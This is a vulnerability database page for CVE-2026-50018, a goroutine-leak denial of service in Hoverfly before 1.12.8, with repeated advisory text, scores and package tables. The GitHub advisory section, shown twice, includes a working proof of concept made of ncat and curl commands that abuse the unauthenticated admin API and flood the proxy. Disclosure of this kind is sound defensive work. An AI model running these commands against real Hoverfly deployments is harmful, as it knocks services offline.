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CVE-2026-50018

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

6.5 MediumFix available

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.54%Up 0.2 points since Sep 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.

Record
CVE-2026-50018
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
EUVDEUVD-2026-76754 6.5

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.

Record
EUVD-2026-76754
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-42j2-w334-qxw7 6.5

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Summary:

Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.

Details:

1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):

go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)

Post-serve actions are executed in separate goroutines with no recovery wrapper.

2. HTTP client has no timeout (core/action/action.go:128-143):

req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.

http.DefaultClient has zero timeout by default in Go. If the remote server:

  • Accepts the TCP connection but never sends a response
  • Establishes TLS but never completes the handshake
  • Uses TCP window size 0 (flow control stall)

...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.

3. No goroutine limit or backpressure:

There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.

4. The goroutine is never cleaned up:

The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Default (no flags required)

POC:

Step 1: Start a black-hole TCP listener (accepts connections, never responds)

# Option A: Use ncat
ncat -l -k 9999 &

# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)

Step 2: Register remote post-serve action pointing to the black hole

curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
  -H "Content-Type: application/json" \
  -d '{
    "actionName": "leak",
    "remote": "http://192.0.2.1:9999/blackhole",
    "delayInMs": 0
  }'

Step 3: Load a catch-all simulation

curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "ok", "postServeAction": "leak"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 4: Flood with requests

# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
    curl -s -x http://localhost:8500 "http://target.com/req${i}" &
    # Throttle to avoid local FD exhaustion
    [ $((i % 100)) -eq 0 ] && wait
done

Verified memory impact on Hoverfly v1.12.7:

Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)

At this rate:

  • 1,000 requests = ~64 MB leaked
  • 10,000 requests = ~640 MB leaked
  • 100,000 requests = ~6.4 GB leaked → OOM crash

Impact:

An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:

  1. Registering a remote post-serve action pointing to a non-responsive endpoint.
  2. Loading a catch-all simulation that triggers the action on every request.
  3. Sending proxy traffic, each request permanently leaks a goroutine…
Record
GHSA-42j2-w334-qxw7
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
NVD 6.5

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.

Record
CVE-2026-50018
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
OSV 6.5

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.

Record
CVE-2026-50018
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
OSVGHSA-42j2-w334-qxw7 6.5

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Summary:

Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.

Details:

1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):

go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)

Post-serve actions are executed in separate goroutines with no recovery wrapper.

2. HTTP client has no timeout (core/action/action.go:128-143):

req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.

http.DefaultClient has zero timeout by default in Go. If the remote server:

  • Accepts the TCP connection but never sends a response
  • Establishes TLS but never completes the handshake
  • Uses TCP window size 0 (flow control stall)

...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.

3. No goroutine limit or backpressure:

There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.

4. The goroutine is never cleaned up:

The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Default (no flags required)

POC:

Step 1: Start a black-hole TCP listener (accepts connections, never responds)

# Option A: Use ncat
ncat -l -k 9999 &

# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)

Step 2: Register remote post-serve action pointing to the black hole

curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
  -H "Content-Type: application/json" \
  -d '{
    "actionName": "leak",
    "remote": "http://192.0.2.1:9999/blackhole",
    "delayInMs": 0
  }'

Step 3: Load a catch-all simulation

curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "ok", "postServeAction": "leak"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 4: Flood with requests

# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
    curl -s -x http://localhost:8500 "http://target.com/req${i}" &
    # Throttle to avoid local FD exhaustion
    [ $((i % 100)) -eq 0 ] && wait
done

Verified memory impact on Hoverfly v1.12.7:

Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)

At this rate:

  • 1,000 requests = ~64 MB leaked
  • 10,000 requests = ~640 MB leaked
  • 100,000 requests = ~6.4 GB leaked → OOM crash

Impact:

An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:

  1. Registering a remote post-serve action pointing to a non-responsive endpoint.
  2. Loading a catch-all simulation that triggers the action on every request.
  3. Sending proxy traffic, each request permanently leaks a goroutine…
Record
GHSA-42j2-w334-qxw7
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
OSVGO-2026-5975 No score

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly

Record
GO-2026-5975
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/SpectoLabs/hoverfly
Go
 through 1.12.7
1.12.8
github.com/SpectoLabs/hoverfly
Go
 before 1.12.8
1.12.8
govulncheck-vulndb
openSUSE:Leap 16.0
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-50018 is a medium vulnerability (CVSS 6.5) in Spectolabs Hoverfly, published July 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in github.com/SpectoLabs/hoverfly 1.12.8.

References

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